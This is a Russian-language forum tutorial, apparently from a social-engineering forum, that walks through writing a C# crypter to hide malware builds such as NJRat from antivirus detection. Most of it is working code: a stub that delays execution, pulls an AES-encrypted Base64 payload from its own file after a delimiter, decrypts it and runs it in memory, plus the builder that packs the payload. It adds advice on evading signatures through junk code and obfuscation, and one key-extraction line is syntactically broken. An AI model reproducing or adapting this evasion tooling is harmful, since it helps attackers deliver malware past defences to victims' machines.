Как многим известно, билды различных малварей (особенно публичных) имеют большой скантайм детект. Далее в статье мы разберёмся в этой тематике и создадим собственный простой криптор .NET приложений на языке С# .
Скантайм — сигнатурный детект, который вешают антивирусы на ваш файл. Например, Gen-детекты.
Рантайм — детект при запуске файла. Своего рода поведенческая сигнатура. Например, NJRat копирует себя в %TEMP%, создает
свою копию в папке автозапуска, но эта модель поведения занесена в базы антивирусов.
Стаб - небольшая программа, отвечающая за запуск шифрованного файла, антиэмуляцию и т.д.
Наша задача — убрать сигнатуры и изменить поведение файла. Другими словами мы напишем оболочку для нашего файла.
Стаб
Для начала напишем стаб.
Структура стаба:
- Сам стаб.
- Слово-разделитель.
- Ключ расшифровки.
- Слово-разделитель.
- Шифрованные данные.
Алгоритм работы стаба:
- Ищем слово-разделитель в файле.
- Получаем ключ.
- Ищем слово-разделитель в файле.
- Получаем шифрованные данные.
- Расшифровываем данные (base64 -> byte[] -> Decrypt() -> byte[]).
- Загружаем и выполняем сборку.
Нашим словом-разделителем будет "keeeek".
Приступим к написанию кода.
Открываем Visual Studio, создаем консольное приложение на .NET 4.0.
Первым делом добавим функцию расшифровки:
public static byte[] Decrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
new PasswordDeriveBytes(key,
new byte[] {
0x43,
0x87,
0x23,
0x72
});
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
aes.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}
Переходим к Main. Ставим рандомную задержку (5-20 секунд):
Thread.Sleep(new Random(Environment.TickCount).Next(5000, 20000));
Получаем в строки необходимые данные:
string data = File.ReadAllText(Assembly.GetEntryAssembly().Location);
string key = new Regex("keeeek.*keeeek").Matches(data[0].Value.Replace("keeeek", "");
string file = Regex.Split(data, "keeeek")[2];
Далее загрузим расшифрованную сборку:
Assembly assembly =
Assembly.Load(Decrypt(Convert.FromBase64String(file), key));
assembly.EntryPoint.Invoke(null, new object[] { new string[] { } });
Учтите, что Main может не принимать аргументов вообще!
В настройках проекта ставим конфигурацию Release и платформу x86, тип выходных данных - приложение Windows. Компилируем проект.
На этом со стабом покончили. Далее идет самая простая часть — написание самого криптора.
Криптор
Алгоритм работы криптора:
- Выбираем файл для крипта.
- Шифруем файл и конвертируем его в Base64 строку.
- Записываем стаб, слово-разделитель, ключ, слово-разделитель, base64 строку.
Создаем приложение WindowsForms, кидаем на него кнопку:
Дважды жмём на неё и пишем в методе следующий код:
OpenFileDialog op = new OpenFileDialog();
op.ShowDialog();
Далее инициализируем переменные:
string filename = op.FileName; // Имя файла
byte[] stub = File.ReadAllBytes("stub.exe"); // Имя стаба - кладем в папку с критором
string key = Path.GetRandomFileName().Split('.')[0]; // Рандомный ключ
byte[] encrypted = Encrypt(File.ReadAllBytes(filename), key); // Шифрованный файл
byte[] base64 =
Encoding.UTF8.GetBytes(Convert.ToBase64String(encrypted)); // Получаем шифрованный файл в Base64 строку
Теперь, когда все данные получены, запишем всё в новый файл:
FileStream fs = new FileStream("output.exe", FileMode.CreateNew, FileAccess.Write);
fs.Write(stub, 0, stub.Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(Encoding.UTF8.GetBytes(key), 0, Encoding.UTF8.GetBytes(key).Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(base64, 0, base64.Length);
fs.Close();
Добавляем функцию шифрования:
public static byte[] Encrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
new PasswordDeriveBytes(key,
new byte[] {
0x43,
0x87,
0x23,
0x72
});
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
aes.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}
Ну вот и всё, наш криптор готов.
Кладём стаб к криптору и начинаем тестировать.
Как чистить стабы?
- Изменять ключевое слово.
- Изменять название переменных, их длину, добавлять мусорный код.
- Накрыть стаб каким-либо обфускатором (приведение исходного текста или исполняемого кода программы к виду, сохраняющему её функциональность, но затрудняющему анализ, понимание алгоритмов работы и модификацию при декомпиляции).
- Добавить иконку, изменить информацию о файле и т.п.
- Изменять алгоритм работы стаба.
После добавления в стаб мусорного кода, информации из другого файла и обфускации стаба сверху получился следующий детект:
Я думаю всем понятно, что сканировать стабы и/или криптованные билды на VirusTotal и его аналогах не нужно.
Исходники программы: https://github.com/onek1lo/Simple-Crypter
Lolzteam — форум социальной инженерии.